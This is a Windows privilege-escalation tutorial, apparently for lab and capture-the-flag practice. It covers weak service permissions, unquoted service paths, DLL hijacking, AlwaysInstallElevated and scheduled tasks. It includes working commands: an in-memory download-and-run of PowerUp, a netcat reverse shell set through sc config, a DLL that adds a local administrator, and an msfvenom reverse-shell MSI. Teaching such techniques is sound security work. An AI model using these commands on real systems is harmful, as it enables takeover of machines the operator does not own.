Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated
Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.
If whoami /priv gives you nothing (read the SeImpersonate and Potatoes guide first), the next question on Windows is always the same: what runs as SYSTEM, and which part of it can I modify? A service, a DLL, a scheduled task or an installer. This guide covers all four.
Quick enumeration
Automated tools save time; the Windows privilege escalation cheat sheet has the equivalent manual commands.
# winPEAS: the most complete
.\winPEASx64.exe quiet servicesinfo applicationsinfo
# PowerUp (PowerSploit): fast, with functions to exploit what it finds
. .\PowerUp.ps1
Invoke-AllChecks
Tip
If script execution is blocked, load PowerUp in memory: IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'). In Constrained Language Mode it will not work: read AppLocker and CLM.
1. Services with weak permissions
A service stores in the registry which binary it runs (ImagePath) and under which account. There are three ways to hijack it:
| What you can modify | What it looks like | What you do |
|---|---|---|
| The service configuration | SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS in accesschk |
sc config to change the binary |
| The service binary | (F), (M) or (W) for your user in icacls |
Replace it with yours |
| The registry key | FullControl or SetValue on HKLM\SYSTEM\CurrentControlSet\Services\<svc> |
Change ImagePath |
# Permissions on services (Sysinternals)
.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *
# A service's binary and account
sc qc ServiceName
icacls "C:\Program Files\App\service.exe"
# Permissions on the registry key
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List
Abuse (you need to be able to restart the service, or wait for a reboot if it starts automatically):
sc config ServiceName binpath= "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop ServiceName
sc start ServiceName
Note
The space after binpath= is mandatory. sc start will complain that the service did not respond, but your command has already run as the service account.
2. Unquoted service paths
If the binary path has spaces and no quotes, Windows tries each piece. For C:\Program Files\My App\bin\service.exe it tries, in this order:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\bin\service.exe
If you can write to C:\Program Files\ (rare) or to C:\Program Files\My App\ (more common), drop My.exe there and restart the service.
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-CimInstance Win32_Service | ? { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | select Name,PathName,StartMode
icacls "C:\Program Files\My App"
3. DLL hijacking
When a program loads a DLL without an absolute path, Windows looks for it in this order: the program's folder, System32, the Windows folder, the current folder and then every folder in PATH. If a service running as SYSTEM looks for a DLL that does not exist and you can write to one of those folders, your DLL gets loaded.
How to find it:
- Process Monitor (in your own lab, with the same program): filter on
Result is NAME NOT FOUNDandPath ends with .dll. PATHfolders you can write to:$env:Path -split ';' | % { icacls $_ 2>$null | findstr /i "Users Everyone Authenticated" }.- Third-party programs installed outside
Program Files(for example inC:\App\), where users often have write access.
A minimal DLL to test with, compiled from Linux:
// x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
system("cmd /c net localgroup administrators user /add");
}
return TRUE;
}
Look at the catalogue's DLL hijacking machines: it is usually a third-party service, not something in Windows itself.
4. AlwaysInstallElevated
Two registry keys, usually set through a GPO, let any user install MSI packages as SYSTEM. Both must be set to 1:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If they are, build an MSI (with the msfvenom generator) and install it:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o setup.msi
msiexec /quiet /qn /i C:\Windows\Temp\setup.msi
The Love machine is the classic example of AlwaysInstallElevated.
5. Scheduled tasks and admin scripts
Admins leave scripts that run on their own: backups, clean-ups, health checks. If you can modify the script or the binary the task launches, it runs with its author's permissions.
schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
Get-ScheduledTask | ? { $_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK' } | select TaskName,TaskPath
icacls C:\Scripts\backup.ps1
You will not always see the task (other users' tasks are hidden). Look for clues: folders like C:\Scripts, .ps1 or .bat files with a recent modification time, or logs updated every few minutes. This is the admin tasks and scripts technique.
Common errors
Access is deniedonsc stop: you can change the configuration but not restart the service. If itsSTART_TYPEisAUTO_START, rebooting the machine (shutdown /r /t 0, if you have the privilege) also works.- The binary you upload dies straight away: a service must answer the service manager or Windows kills it after 30 seconds. Use a command that spawns another process (
cmd /c start ...) or a real service executable (msfvenom -f exe-service). - The DLL loads but nothing happens: wrong architecture (32 vs 64 bit), or the program needs a specific exported function to keep running.
What next
If none of this shows up, check credentials in the registry and history and Windows exploits for unpatched versions. And if the machine is domain-joined, the escalation may come from the Active Directory side: start with the AD enumeration guide.